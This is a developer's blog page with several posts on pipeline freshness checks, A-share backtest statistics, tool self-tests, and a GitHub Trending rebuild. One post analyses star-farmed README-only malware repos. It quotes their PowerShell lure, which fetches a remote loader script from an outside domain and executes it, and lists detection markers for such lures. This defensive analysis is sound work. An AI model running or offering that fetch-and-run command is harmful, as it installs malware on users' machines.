DEV Community: Felixwang007

I Built a Frozen-Scan Detector. A Week Later It Fires Daily — and Nothing Consumes It

Felixwang007 — Mon, 19 Oct 2026 04:02:23 +0000

This is the verdict my detector printed ten minutes ago, verbatim:

$ python tools/scanfresh/scan_freshness_guard.py check \
    --ledger recommendations/signal_history.jsonl \
    --verify recommendations/signal_verify_log.jsonl \
    --panel-dir history_ext --today 2026-10-19

verdict: FROZEN
  ! panel newest bar 2026-09-28 is 15 business days behind 2026-10-19
  ! trailing identical run of 15 entries (2026-09-28 -> 2026-10-16, fp=4c29e76725)
  ! 2 verification transition(s) advanced target_date without changing any measured detail

Exit code 2.

Three numbers:

15 consecutive sessions whose ledger entries are identical after stripping every timestamp.
15 business days how far the data panel those sessions claim to analyse has drifted behind today.
3 — how many of those identical entries were written after I shipped this detector.

The third number is the one this post is actually about.

The pipeline

A local Python job over a panel of per-stock daily bars:

panel (3,147 JSON files, one per stock)
  -> classify every stock into one of six technical patterns (build_dataset_v3.compute_tech)
  -> append {scan_date, dist, picks} to recommendations/signal_history.jsonl
  -> next session, score yesterday's picks, append to signal_verify_log.jsonl

It is a pure function of the panel. Which is the entire bug surface: if the panel stops being updated, the scan keeps succeeding at analysing the past.

What "success" was measuring

The job's contract was "append a line and exit 0". It honoured that contract 21 times in a row. Every log line green, every night at 15:35, Weekdays only.

A verification ledger is supposed to answer "were yesterday's picks right?". Mine answered with the identical four per-stock returns under three different target dates, because it was re-scoring a price file whose mtime had not moved since 2026-09-28 12:10.

The panel detail that makes this concrete: 3,147 files exist, but only 3,049 instruments appear on the newest bar. The other ~100 files stopped at earlier dates. Nothing complained — a file count is not a freshness measurement.

Fingerprint the answer, not the activity

Activity metrics — ran / exit code / rows processed / wall time — are all satisfiable by a frozen pipeline. The one reading that a frozen pipeline cannot fake is did the substance of the output change?

So hash the fields that define the answer, and deliberately exclude the ones that define the run:

SNAP_KEYS = ('dist', 'picks', 'rebound', 'breaks')

def fp(obj, keys=SNAP_KEYS):
    picked = {k: obj[k] for k in keys if k in obj}
    if not picked:                      # unknown shape -> whole record minus timing
        picked = {k: v for k, v in sorted(obj.items()) if k not in
                  ('scan_date', 'verify_date', 'target_date', 'generated', 'run_at', 'ts')}
    blob = json.dumps(picked, sort_keys=True, ensure_ascii=False).encode()
    return hashlib.sha256(blob).hexdigest()[:10]

sort_keys=True so re-serialising a dict cannot fake a change. scan_date excluded so a date bump cannot fake one either. Anyone can recompute these fingerprints from the ledger with no access to my code.

Three checks fall out of that:

check	reads	trips when
`panel_stale`	newest bar date vs expected last trading day, in business days	gap > `--max-panel-gap` (default 1)
`trailing_repeat`	fingerprints of consecutive ledger entries	trailing identical run > `--max-repeat` (default 2)
`verify_frozen`	verification ledger: `target_date` advances while per-item detail is identical	any such transition

Two of the three also catch a subtler failure I had not thought about until I wrote the check: a pipeline can keep reading while its numbers stop moving, and it can keep re-dating while its measurements stay frozen. Both look like output growth. Neither is.

One week later: the detector is right, and irrelevant

Here is the honest part. I built this, published the tool, wrote about the failure mode — and then never wired it to the writer. Since the guard landed, the writer cron has appended three more byte-identical entries. The guard's verdict has been 2 every day. Nothing reads exit codes of a tool nothing calls.

So the real lesson of this week is not "add a staleness check". It is:

A detector whose verdict is not a precondition is a dashboard.

A green dashboard on a frozen pipeline is worse than no dashboard, because now there are two artifacts telling you everything is fine: the writer's exit 0 and the detector's existence.

The fix is one line in the writer, and I am writing it here so I have to do it:

if subprocess.run([sys.executable, 'tools/scanfresh/scan_freshness_guard.py',
                   'check', '--ledger', LEDGER, '--panel-dir', PANEL,
                   '--today', today]).returncode == 2:
    sys.exit('refusing to append a snapshot I cannot vouch for')

The snapshot must not be written at all. Logging the alarm while writing the stale entry anyway is the same bug with extra ceremony.

Rules I now apply to any scheduled analysis job

Green is not evidence. "Ran, exit 0" is a statement about the runner. Ask which reading would have been different had the job failed. If the answer is "none", you measured nothing.
Ask what the job's output would look like if it were secretly frozen. That question is cheap to answer and it is where all my reliability bugs live.
Fingerprint the answer, exclude the clock. Timestamps, run ids, row counts and file counts all change when nothing has changed — and none of them change when everything has.
"No input" needs its own exit code. The guard returns 3 INSUFFICIENT when handed nothing to judge, because a checker that examined zero entries must never print "healthy" — the same reason a file scanner that opened zero files must never print "clean".
Two identical days are normal; fifteen are not. Make the threshold explicit, tune it against your own hit rate, and remember that a single repeat is not a signal.
Gate, don't report. A verdict nobody consumes is decoration. The check belongs in the writer's precondition, and the failure mode should be no snapshot written, not snapshot written plus a warning logged.

The detector

tools/scanfresh/scan_freshness_guard.py — stdlib only, 409 lines, exit codes 0 HEALTHY / 2 FROZEN / 3 INSUFFICIENT / 1 error, with an 18-assertion selftest over synthetic fixtures:

python tools/scanfresh/scan_freshness_guard.py selftest          # 18/18 passed

python tools/scanfresh/scan_freshness_guard.py check \
  --ledger  samples/real_frozen_history.jsonl \
  --verify  samples/real_verify_frozen.jsonl \
  --today 2026-10-12                                             # exit 2, FROZEN

samples/ ships the real frozen ledgers (the 16-entry one with the trailing run of 10, and its verification ledger), so the FROZEN verdict is reproducible on your machine without my data, plus a synthetic healthy ledger so the pass path is testable too.

Code, samples, notes: https://github.com/Felixwang007/awesome-content-tools/tree/main/tools/scanfresh — MIT, take the 400 lines and skip the essay.

One caveat I would rather state than have you discover: this detects frozen output, not a broken fetch. A source that returns different garbage every day passes all three checks. Freshness is necessary, not sufficient. The obvious next gap in mine is a China exchange holiday calendar — right now panel_stale knows weekends but treats October's exchange holidays as ordinary business days, which is exactly how a 15-day gap reads as ordinary Monday drift.

If you build analysis agents you actually run daily — screening, scheduled scans, anything that appends a snapshot and exits 0 — the same guard is packaged as a skill on 虾评 (xiaping.coze.com) next to the A-share three-pillar screener, and the raw script is in the repo above.

All numbers here are from a single check run against the real ledger and panel on 2026-10-19; the ledger, verification log and panel are a private workspace, but the guard and the exact frozen ledgers it trips on are public in samples/.

I Split My A-Share Signal Study Into 6 Time Halves. The Top-Return Pattern Held in 4 of Them - a "Stay Out" Signal Went 6 for 6

Felixwang007 — Thu, 15 Oct 2026 11:20:02 +0000

Three numbers first:

+0.90pp - the average 5-day excess return of the pattern that ranks first if you average all six half-years together.
4/6 - the number of those halves where that sign actually held.
6/6 - the number of halves where the sign held for the pattern I now rank first. It has never once said "buy".

Same panel, same labels, same arithmetic. The only thing I changed is that I stopped reporting a single average over a 32-month window and started reporting the six halves separately. That one change reordered my entire signal list.

The panel and the labels

panel     3,147 A-share names, one JSON per name, 641 daily bars each
window    2024-02-02 -> 2026-09-28 (uniform by construction: a name with fewer
          than 30 bars, or a start date later than 2023-12-01, is dropped)
rows      1,853,978 labelled stock-days
          (forward return = closes[i+5]/closes[i] - 1)
labels    873,278 of those rows carry one of six patterns
          (build_dataset_v3.compute_tech); the rest are unlabelled
halves    2024H1 ... 2026H2 - six buckets

Two definitions, so the tables below cannot be misread:

mean - average 5-day forward return of every row carrying that label inside that half.
excess - that mean minus the average forward return of all labelled rows inside the same half.

Excess is what I rank on now, and the subtraction is the whole point.

Why the same-half baseline has to come out

half	baseline (all labelled rows, %)
2024H1	-0.54
2024H2	+0.91
2025H1	+0.79
2025H2	+0.81
2026H1	-0.21
2026H2	+0.30

First halves average +0.01pp. Second halves average +0.67pp. The gap is +0.66pp - and a pattern that happened to fire mostly in second halves collects that gap for free before it does anything. That is not edge, it is calendar. Subtract the same-half baseline and the free money evaporates.

The six halves, excess in percentage points

half	baseline	oversold bounce	pullback, shrinking volume	range-bound	uptrend	volume breakout	high-level volume dump
2024H1	-0.54	+1.44	+0.30	-0.42	-0.01	-0.88	-1.59
2024H2	+0.91	+0.15	-0.12	-0.02	-0.14	-1.67	-2.29
2025H1	+0.79	+2.00	-0.09	-0.19	-0.35	-0.76	-2.01
2025H2	+0.81	-0.33	-0.11	+0.03	-0.16	-0.25	-1.33
2026H1	-0.21	-0.06	+0.27	-0.17	+0.50	+0.07	-0.35
2026H2	+0.30	+2.22	-0.09	+0.18	-0.73	-1.52	-2.28

Now rank them by how often the sign holds, instead of by magnitude:

pattern	avg excess (pp)	positive halves	spread (pp)	std across halves	rows
high-level volume dump	-1.64	0/6	1.94	0.67	7,052
volume breakout	-0.83	1/6	1.74	0.62	59,090
uptrend	-0.15	1/6	1.23	0.37	396,937
range-bound	-0.10	2/6	0.60	0.19	176,565
oversold bounce	+0.90	4/6	2.55	1.02	5,897
pullback, shrinking volume	+0.03	2/6	0.42	0.18	227,737

Four things fall out of that table.

1. The only perfect 6/6 record belongs to the signal that says stay out

A high-level, high-volume down day is negative in every one of the six halves: average excess -1.64pp, worst -2.29, best -0.35, and its win rate sits in a 37-44% band in all six. It is the only label where I cannot find a half that contradicts it. Note what kind of signal it is: a don't add here / trim into strength signal, not a money printer.

2. The trade retail loves most is negative in 5 of 6 halves

A breakout on 1.5x volume: average excess -0.83pp, worst half -1.67pp, win rate range 35.4-44.6%. The single positive half (+0.07 in 2026H1) is smaller than the noise floor of every other half. "Buy strength with volume" is a fine slogan; on this panel it is a coin flip with a fee attached.

3. The best average came from the least stable pattern

Oversold bounce tops the average list at +0.90pp and is positive in 4 of 6 halves. It also has the widest spread of anything here (2.55pp), the largest across-half standard deviation (1.02), and a firing count that swings 6.8x between halves - from 1,644 rows in 2025H1 to 241 rows in 2025H2, which is also the half where its excess went to -0.33. In other words: the headline number is the mean of a handful of small, regime-dependent samples. That is the exact configuration that produces "my backtest says +1.5% per 5 days" and then refuses to repeat.

4. Three labels are just the market

Pullback on shrinking volume (+0.03pp), range-bound (-0.10), uptrend (-0.15), with spreads under 1.25pp. Nothing there in either direction - they are the null hypothesis wearing a label.

What I changed in the screener

Rank on sign consistency first, magnitude second. A pattern that is wrong in a third of the halves it was chosen over is not a signal, it is a sample.
Trust the avoid side, discount the buy side. The two most sign-stable labels are both negative-expectancy ones. That asymmetry has been the most durable thing in this panel across three years of window.
Print the per-half firing count next to the average. A frequency that moves 6.8x is measuring the regime, not the setup.
Size by regime, not by conviction. If the same rule earns +2.0pp in one half and -0.3pp in another, position size has to be a function of which half you think you are in, and the honest answer is often "smaller".

Reproduce the ranking

The whole ranking is ~25 lines once the per-half table exists. This is the actual script that produced the tables above:

import json, statistics

d = json.load(open("alpha_by_half.json", encoding="utf-8"))
periods, pats = d["periods"], d["patterns"]
halves = list(periods)

rows = []
for name, per in pats.items():
    ex = [per[h]["excess"] for h in halves]
    rows.append({
        "pattern": name,
        "avg_excess": round(sum(ex) / len(ex), 2),
        "positive_halves": sum(1 for e in ex if e > 0),
        "spread": round(max(ex) - min(ex), 2),
        "std": round(statistics.pstdev(ex), 2),
        "rows": sum(per[h]["n"] for h in halves),
    })

for r in sorted(rows, key=lambda r: -r["positive_halves"]):
    print(f'{r["pattern"]:<8} avg={r["avg_excess"]:+6.2f} '
          f'pos={r["positive_halves"]}/6 spread={r["spread"]:>5.2f} '
          f'std={r["std"]:>5.2f} n={r["rows"]:>7}')

If you keep one habit from this post, make it this one: when a pattern only looks good as one averaged number, split the sample by time and re-rank by how many windows agree on the sign. It costs ten lines and it is the cheapest edge-destroying test I know.

Limitations, before you take any of this seriously

The window is a uniform 641 bars per name, so 2024H1 and 2026H2 are partial halves by construction. Six halves is six data points; sign consistency is a cheap robustness filter, not a significance test.
5-day forward returns, no transaction costs, no limit-up tradability filter - a pattern that fires on days you could not have bought at the close is not a trade, it is a row.
The panel is "names that still exist with enough history", which is a survivorship filter by construction, not an accident.
Per-half tables above are means. In the full-sample cut of the same study the medians sit well below the means for buy-side labels (volume breakout: mean -0.29%, median -1.3%), so means flatter the positive tail.
A-shares cannot be shorted in most accounts. The 6/6 signal is a don't add here signal. Do not read it as a short.

The screener these numbers come from is packaged as a skill on 虾评 (xiaping.coze.com) together with the A-share three-pillar screener, and the reproducible sibling tools from this series - the frozen-scan guard, the rule-binding audit, the de-AI linter - are MIT in the repo:

https://github.com/Felixwang007/awesome-content-tools

Panel and half-split study live in a private workspace; every number above is a direct read of alpha_by_half.json (cutoff 2026-09-28). Nothing here is investment advice - it is a report on what my own study does when I stop letting it average.

GitHub Trending Has No API. I Rebuilt It — and It Caught 4 Malware Repos Made Entirely of README Files

Felixwang007 — Mon, 05 Oct 2026 04:04:07 +0000

Two days ago my daily GitHub digest pipeline returned nothing.

Not "no results" — nothing. curl https://github.com/trending sat there for 19.4 seconds and returned HTTP 000. No redirect, no block page, no body. Just a dead socket. Trendshift.io answered HTTP 200 in the same minute — with 0 bytes, because it is a client-rendered SPA.

That is the state of "GitHub Trending" as a data source: one HTML page, no API, no fallback, and it can vanish from your network without telling you. So I rebuilt the digest on the Search API. Then the rebuild found something the Trending page would have shown me with a star count and no warning at all.

Rebuild v1: treat the Search API as a Trending proxy

There is no trending endpoint. The closest thing is a birth-window query, sorted by stars:

gh api "search/repositories?q=created:>2026-09-28&sort=stars&order=desc&per_page=25" \
  --jq '.items[] | "\(.stargazers_count)\t\(.full_name)\t\(.language)"'

That works, it is stable, and it is authenticated (5,000 req/h instead of 60). It is also not trending. Three blind spots, measured:

Blind spot 1 — absolute stars ≠ velocity

Run the same query on old repos and you get a monument, not a trend:

q=created:<2026-01-01+pushed:>2026-10-01+stars:>5000&sort=stars

486111  2016-03-20  public-apis/public-apis
456759  2014-12-24  freeCodeCamp/freeCodeCamp
398488  2013-10-11  EbookFoundation/free-programming-books
391330  2025-11-24  openclaw/openclaw
368876  2017-03-15  nilbuild/developer-roadmap

freeCodeCamp has 456,759 stars and zero relevance to "today". Sorting by raw stars answers "what is famous", not "what is moving". Trending is a derivative, and the Search API will not give you a derivative.

Blind spot 2 — the `created:>DATE` window can only see newborns

A 2019 repo that gained 800 stars today is genuinely trending and structurally invisible to a created:>7d filter. The only fix is to stop asking for trends and start computing them: snapshot the list daily, store (repo, stars, timestamp), and rank tomorrow by Δstars/day. That is a local diff problem, not an API feature.

Blind spot 3 — there is no hygiene signal, and stars are the cheapest thing to fake

The Search API ranks by one number. It tells you nothing about whether the repo contains code. I narrowed the window to 72 hours and looked at what came out.

What a 72-hour window surfaces

stars	repo	files	forks	description
939	`kargulstudio/sales-crm`	27	191	(none)
481	`ythx-101/live-panel-skill`	—	64	JSON-driven architecture diagrams
414	`BlackCrewmanFringe/AutoCad`	1	0	"professional desktop software utility…"
408	`Blockadezoshack/Microsoft-Project`	1	0	"optimizes professional workflow management…"
315	`AxeEradicate/Fps-Booster-for-Windows`	1	0	"Maximize your Windows PC's performance…"
212	`beachbladesmanloop/Hwid-Spoofer`	1	0	"optimizes performance and streamlines workflows…"

Four of the ten fastest-rising repos created in the last 72 hours contain exactly one file: a 2–4 KB README.md. Zero code, zero forks, zero releases, no license. The repo size field says 2 KB — that is the whole repository.

The four descriptions are LLM-written marketing prose for products ("AutoCAD", "Microsoft Project", "FPS Booster") that the repos obviously do not contain. The four repos were created on two days, in two clusters:

Blockadezoshack/Microsoft-Project       created 2026-10-04T11:37:45Z  pushed 11:37:50Z
BlackCrewmanFringe/AutoCad              created 2026-10-04T11:36:47Z  pushed 11:36:52Z
AxeEradicate/Fps-Booster-for-Windows    created 2026-10-03T11:18:49Z  pushed 11:18:54Z
beachbladesmanloop/Hwid-Spoofer         created 2026-10-03T11:19:06Z  pushed 11:19:13Z

Created and last-pushed five seconds apart. That is not a repository, that is a template render plus a git push.

The payload, and the proof it was seeded

All four READMEs point at the same URL. I only sent a HEAD request — I did not fetch or run anything:

https://ps-ps.cc/powershell/Loader.ps1   →  HTTP 200, resolves to 196.251.107.72

The READMEs wrap it in the standard lure: powershell -ExecutionPolicy Bypass -Command "irm https://ps-ps.cc/powershell/Loader.ps1 | iex", plus a troubleshooting section explaining how to pause real-time protection if your antivirus objects, and — my favorite detail — a section literally titled "Search Indexes & Organic Target Queries" that lists the SEO strings the repo is targeting. These repos are not built for humans. They are built to be discovered.

And they were. Here is the star-arrival distribution pulled from /repos/{repo}/events:

2026-10-04T11:13:48Z
2026-10-04T11:13:49Z
2026-10-04T11:13:49Z
2026-10-04T11:13:50Z
2026-10-04T11:13:50Z
...
2026-10-04T11:13:52Z     ← 100 WatchEvents, 4 seconds, all of them

100 stars in under 5 seconds, all from one burst, against 0 forks. A person who stars a repo almost never forks it; 100 stars and 0 forks on a 2 KB file is the signature of a star-farm API call, not 100 humans.

Two useful side findings from building this:

The documented way to get star timestamps — Accept: application/vnd.github.star+json on /repos/{r}/stargazers — returns 404, including for torvalds/linux. The stub that works is /events (WatchEvent stream, 90-day window).
stargazers_count is available in the repo payload, but starred_at is not, so burst detection always costs you an extra request per repo. Budget for it.

The control case: don't over-fit your filter

Narrow repos are not automatically scams. wy51ai/floorplan-3d is in my top 25: 1,394 stars, 5 files, one of which is a 185 KB index.html containing a complete 2D+3D floor-plan editor. Naive rule "few files = fake" would kill a legitimate project.

What separates them is not file count. It is forks plus arrival shape:

	`floorplan-3d` (legit)	`Hwid-Spoofer` (farmed)
stars	1,394	212
forks	287	0
README	feature list + screenshots	install script + "pause antivirus"
WatchEvents	93, spread across 3 days	100 in 4 seconds
license	MIT	none

The gate I run before a repo enters the digest

Every candidate now has to survive this. It costs one extra API call per repo and it would have rejected all four:

def hygiene(repo, events):
    # Return a list of failure reasons. Empty list == publishable.
    bad = []

    # 1. no code at all: 1-2 files and nothing but markdown
    if repo["files_at_root"] <= 2 and not repo["has_code_file"]:
        bad.append("no_code")

    # 2. stars without forks: organic traction forks
    if repo["forks"] == 0 and repo["stars"] > 150:
        bad.append("stars_without_forks")

    # 3. burst arrival: >30 watch events inside a 60s window
    if max_events_in_window(events, seconds=60) > 30:
        bad.append("star_burst")

    # 4. README tells the user to run a remote script / disable AV
    text = repo["readme"].lower()
    for marker in ("iex(", "invoke-expression", "executionpolicy bypass",
                   "real-time protection", "irm https://"):
        if marker in text:
            bad.append(f"lure:{marker}")
            break

    # 5. template repo: created and pushed within 5 minutes, one commit
    if (repo["pushed_at"] - repo["created_at"]).total_seconds() < 300:
        bad.append("template_dump")

    # 6. same download domain shared by repos created the same day
    if repo["payload_domain"] in repo["sibling_domains"]:
        bad.append("domain_cluster")

    return bad

Rule 6 is the one that generalizes. Individually each repo looks like a low-quality project; grouped by payload domain they collapse into one campaign with four fronts. Cluster on the URL, not on the repo.

What I'd ask GitHub for

starred_at inside the repo payload, so burst detection is free.
A real Trending API with a documented ranking formula, or at least a static JSON snapshot.
A star-count sanity signal in the Search API response — even something as blunt as stars_per_day_since_creation.
Restore /stargazers with the star+json media type, which is documented and currently 404s on every repo I tested.

The uncomfortable part

The digest exists to answer "what is the community excited about today?" It turns out that a stars-sorted list of anything — Trending, the Search API, your own aggregator — is a discovery surface, and discovery surfaces get farmed. The same properties that made these four repos cheap to build (README-only, no license, instant push) made them cheap to seed, and the payload author got 1,349 stars' worth of free distribution in under 48 hours for the cost of four git push calls.

If you build a trending digest, the hygiene gate is not a nice-to-have. It is the part that decides whether your feed is a signal or somebody else's distribution channel.

The audit gates and the snapshot-diff tooling live in my content tools repo alongside the earlier write-ups on agent self-check gates and rule-binding audits. I also publish the packaged versions of these utilities (container config doctor, environment drift checker, HTTP header auditor) on 虾评 — if you want the repo-hygiene gate as a drop-in package, that is where it lands next.

My Code Reviewer Scored a Nonexistent Directory 100/100 and Exited 0

Felixwang007 — Thu, 01 Oct 2026 04:01:42 +0000

Every skill package I ship — for Claude Code, Cursor, Codex, and a couple of agent marketplaces — has to clear one gate before publishing: its own selftest must exit 0.

So this week I ran an audit over the 34 packages sitting in my skills folder to find out how many actually have that gate. The audit broke twice, in two different ways. Both breakages are the same bug wearing different clothes, and it's the bug that makes agent tooling untrustworthy the moment you put it in CI:

a success signal that isn't attached to work actually done.

Here's the whole thing, including the raw output.

Pass one: the audit script

The script was not clever. Walk each package, find a script mentioning selftest, run python scripts/<script>.py selftest, read the exit code.

Result:

12 packages passed
5 packages "failed"
17 packages had no self-test at all

The five failures looked like this (output is Chinese, I'll translate):

FAKE(2) license-compliance-checker :: 错误: not a directory: ...\license-compliance-checker\selftest
FAKE(2) meeting-minutes-assistant   :: 找不到文件：selftest

error: not a directory: ...\selftest
file not found: selftest

Those five tools were fine. My harness was wrong. They implement the self-test as a --selftest flag, not as a positional subcommand. Five working self-tests (30/30, 54/54, 16/16, 40/40, 77/77 assertions) were reported as failures because the invocation contract was never part of the contract.

That's a false negative. Annoying, but it fails safe — the gate stays closed.

The bug that matters: 100/100 for a directory that doesn't exist

One of those five is a code-review tool. Called with a positional argument, it does not complain. It treats the argument as a path:

$ python scripts/code_review.py selftest
跳过不存在的路径: selftest
# 代码审查报告
- 审查范围: 0 个文件，0 行
- 发现问题: 0 个（致命 0 / 高 0 / 中 0 / 低 0）
- 健康分: 100/100 — ✅ 可以合并（按低优先级项择机清理）
EXIT=0

skipped nonexistent path: selftest
# Code review report
- scope: 0 files, 0 lines
- findings: 0 (critical 0 / high 0 / medium 0 / low 0)
- health score: 100/100 — ✅ safe to merge
EXIT=0

Read that again. The tool skipped a path that doesn't exist, scanned zero files, handed out a perfect score and the string "safe to merge", and returned success.

Its actual --selftest works fine — 54 assertions, 38 rules, 23 of them firing on dirty samples. The bug only shows up in scan mode, and only when the input is empty, missing or malformed. Which is exactly the state a path variable is in when a shell glob expands to nothing, a CI job runs on a docs-only diff, or an agent passes the wrong parameter name.

Now imagine the two ways this gets wired up:

code_review.py --selftest && deploy — fine.
code_review.py $CHANGED_FILES — with $CHANGED_FILES empty, you get "100/100, safe to merge" on a diff nobody looked at, green pipeline, exit 0.

And if there's an LLM agent on top reading that output, it will faithfully report "review passed." Not because the model is sloppy — because the tool lied first.

"Nothing wrong" and "nothing examined" are not the same result, and a tool that returns the same status for both cannot be part of a gate.

What the audit measured, precisely

Across 34 packages:

self-test contract	packages
`--selftest` flag	5
`selftest` positional subcommand	12
no self-test	17

Two conventions in one folder. Any harness that guesses will produce false negatives (safe) and — the dangerous half — false positives, since a wrong invocation is silently treated as data rather than as an error. That's not a hypothetical: it's the output above.

Assertion counts in the 17 that do have a self-test: 129, 85, 77, 71, 54, 44, 44, 40, 30, 26, 21, 19, 18, 16, 15, 12, plus one boolean PASS. About 700 assertions total, and the useful ones are all two-sided:

positive cases — the check fires on a known-bad sample
negative cases — the check stays silent on a known-good sample

Without the second half, a linter that flags everything looks perfect. Without the first half, a linter that flags nothing looks perfect. Exit-code-only gates cannot tell those apart.

Concrete, from the 129-assertion SQL inspector:

DROP TABLE is a finding; DROP TABLE IF EXISTS is not.
'no where clause here' inside a string literal is not a missing WHERE clause.
SELECT * inside a comment is not a finding.
os.environ["DB_PASSWORD"] is not a hardcoded credential; a literal password is.
BEGIN ... END in a PL/pgSQL function body is not an unclosed transaction.

Every one of those negative cases exists because the naive version of the rule got it wrong first.

Five rules for a gate that can't lie

Assert on work done, not on exit status. Zero files scanned, zero rules run, zero tokens in — all need a distinct non-success status. "No input" ≠ "input clean."
One documented self-test command per package. Write the exact command in the package's SKILL.md, and have the harness read it from metadata instead of pattern-matching the source. Guessing is how you get the false negative; silent acceptance is how you get the false positive.
Break an assertion on purpose. A self-test nobody has seen fail is a print statement. Delete one rule, run the self-test, confirm it exits non-zero. Do this once per release, not once per project.
Every check gets a positive and a negative case. One dirty sample, one clean sample, both asserted. This is the difference between a test suite and a smoke test.
The publish/deploy step runs the gate itself and hard-fails. My publish scripts run the self-test before zipping and refuse on a non-zero exit; the numbers and the exact commands are recorded in an evaluation_cases.md next to the source. A gate that trusts a previous run's report is not a gate.

And one more, because it's the failure mode I keep hitting: state what the tool does not do. The review tool prints "static rules can only disprove, not prove — still verify permissions, concurrency and money precision by hand." That sentence is the most honest thing in the package. A gate that doesn't declare its blind spots gets trusted for them.

The remaining 17

Adding self-tests to them is mechanical now — the templates exist, and the ones already done took about an hour of real assertions each, not real research. I'm starting with the packages that get wired into automation, because a missing self-test in a package nobody runs is a backlog item, while a zero-input success path in a pre-commit hook is an incident waiting for a quiet Friday.

If you maintain skills, MCP servers, or CLI wrappers that agents call: the highest-value 30 minutes you can spend today is running your tool with an empty input and reading what it says. If it says "safe," "passed," or "0 issues," you've found the bug.

Where this stuff lives

Write-ups and tool notes: https://github.com/Felixwang007/awesome-content-tools
Supply-chain audit for agent tooling (5 static checks to run before installing the trending repo): https://github.com/Felixwang007/agent-supply-chain-audit
The packaged skills, if you'd rather grab them than build them: https://xiaping.coze.com

If you've hit a zero-input success path in a tool you rely on, I'd like the exact output — that's the most useful kind of bug report.

I Fixed Two Bugs in My A-Share Backtest. 47x of the Edge Vanished, and Every 'Buy' Pattern Went Negative

Felixwang007 — Thu, 24 Sep 2026 12:57:59 +0000

TL;DR — I rebuilt my Chinese A-share signal study on 3,145 main-board stocks × 622
trading days (2024-01-26 → 2026-09-18) = 904,775 pattern-labelled stock-days, using free
data. Two measurement bugs were inflating the results. After fixing them, none of the six
classic chart patterns beat the equal-weight universe. The only statistically solid
signals left were the two avoidance ones.

This is the follow-up to my earlier volume study
that flipped sign between two consecutive months. Same rule: publish the number even when
it kills the story I wanted to tell.

What I built

Data: daily K-lines for 3,145 Shanghai/Shenzhen main-board names, pulled from Tencent's free
endpoint — no key, no vendor, ~0.2 s per stock:

https://web.ifzq.gtimg.cn/appstock/app/fqkline/get?param=sh600000,day,,,640,qfq

Six patterns, each defined by measurable conditions (not by the name a newsletter gives it):

pattern	condition
Breakout+Volume	close > prior 20-day high and volume ratio ≥ 1.5
HighLevelVolumeDrop	in the top 30% of its 20-day range, day ≤ −3%, volume ratio ≥ 1.3
OversoldRebound	MA5 < MA20, 20-day return ≤ −15%, day > +2%, volume ratio ≥ 1.2
LowVolPullback	MA5 > MA20, down day, volume ratio ≤ 0.85
Uptrend	MA5 > MA10 > MA20 and close > MA20
Sideways	20-day range < 8% and

Label = forward 5-trading-day return. The rules are ported verbatim from the labelled set I
use to fine-tune my own model, and I checked the port: 5,998 of 6,000 randomly sampled
labelled rows reproduce exactly (99.97%), so the labels here and the labels in the model's
training data agree.

Bug #1 — the ragged panel invents market days

Concatenating one file per stock gives 6,487 distinct dates. Only 622 of them are real
market days; the other 5,870 are phantom "sessions" where one or two stale or delisted
files traded (median 4 rows). Averaging over them moved conclusions a lot:

pattern            clustered (622 real days)     over all dates incl. phantom
Uptrend            +0.191%   t=+1.47             +0.526%   t=+5.66
LowVolPullback     +0.317%   t=+2.29             +0.546%   t=+5.48
Sideways           +0.322%   t=+3.11             +0.020%   t=+0.28

An "uptrend continuation edge" with t=+5.7 turned into t=+1.5 — i.e. nothing — purely from
stale single-name dates. Guard: a date only counts if ≥500 universe members have a defined
20-day MA that day.

Bug #2 — one session is not 200 independent samples

This is the bigger one. Stock-days inside a session are highly correlated: a market-wide
bounce lifts hundreds of "oversold rebound" names at once.

Raw row-level average for oversold-rebound setups on days when >60% of the market was above
its 20-day MA: +11.35%, 67.8% win rate, 374 rows. Same data, one observation per day
instead of one per row: +0.65%. Two sessions carried the whole thing — 2026-07-31
(222 names, +14.25% average) and 2026-08-04 (34 names).

The fix is five lines:

per_day = {}
for r in rows:
    per_day.setdefault(r["date"], []).append(r["fwd5"])

day_means = [statistics.fmean(v) for v in per_day.values()]
mean = statistics.fmean(day_means)
t = mean / (statistics.stdev(day_means) / len(day_means) ** 0.5)   # n = DAYS, not rows

What survived both fixes

Mean of per-day means, forward 5 days, 2024-01 → 2026-09:

pattern	days	rows	fwd 5d	t	naive row-level mean
Sideways	603	175,338	+0.322%	+3.11	+0.425%
LowVolPullback	615	231,310	+0.317%	+2.29	+0.526%
Uptrend	617	401,002	+0.191%	+1.47	+0.362%
OversoldRebound	462	5,934	+0.033%	+0.10	+1.547%
Breakout+Volume	617	59,352	−0.432%	−2.84	−0.289%
HighLevelVolumeDrop	608	7,151	−1.557%	−6.30	−1.152%

Note the last column: the oversold-rebound row-level mean is 47× its clustered value.
That 47× is the most common backtest lie on the internet.

The test that killed the bullish patterns

A positive raw return does not mean the pattern works — it may just mean the market went up.
So subtract the same-day equal-weight universe return from every row:

pattern	excess fwd 5d	t
HighLevelVolumeDrop	−1.958%	−9.84
Breakout+Volume	−0.843%	−8.54
OversoldRebound	−0.361%	−1.39
Uptrend	−0.220%	−3.95
LowVolPullback	−0.117%	−2.18
Sideways	−0.065%	−0.94

Not one bullish pattern beat just holding the basket. Every positive number in the
previous table was market beta — including "buy the uptrend" and "buy the pullback". What
survives is only what you should avoid: a high-level drop on heavy volume, and chasing a
volume breakout.

The one filter that did move the needle: breadth

Because beta is the whole game, the market's own breadth is the useful variable. I built a
gauge: share of the universe trading above its own 20-day MA, once per day, from all
3,145 names.

Using that as a regime filter on the equal-weight universe (next 5 trading days):

breadth bucket	days	next-5d equal-weight	t	up-days
<20%	68	+0.80%	+2.22	63.2%
20-40%	163	−0.50%	−1.87	46.6%
40-60%	160	+0.93%	+3.51	60.6%
60-80%	143	+0.36%	+1.86	58.7%
>80%	83	+0.97%	+2.03	59.0%

Both tails are positive; the dead zone is 20-40% — and that is exactly where the market
sat at the end of this sample (2026-09-18: 32.63% above MA20, 28th percentile of 622
days).

Inside that band, no pattern has positive expectancy:

breadth 20-40%:  high-level volume drop  -2.92% (t-5.5)
                 breakout + volume       -1.35% (t-4.7)
                 oversold rebound        -1.81% (t-3.4)
                 low-volume pullback     -0.86% (t-3.0)
                 uptrend                 -0.80% (t-3.3)
breadth 40-60%:  low-volume pullback     +0.96% (t+3.5)
                 uptrend                 +0.73% (t+2.8)
                 sideways                +0.76% (t+3.6)

The year split (2024 / 2025 / 2026) keeps the sign of the 40-60% bucket in all three years
(+1.1 / +1.1 / +0.5), so that middle band is not one lucky stretch. The tails move around.

How I use this now

Benchmark against the day's equal-weight return, not against zero. Half the "edges" in retail technical analysis are just exposure.
Cluster before you compute a t-stat. If your study has 400 rows but 8 effective days, you have 8 observations.
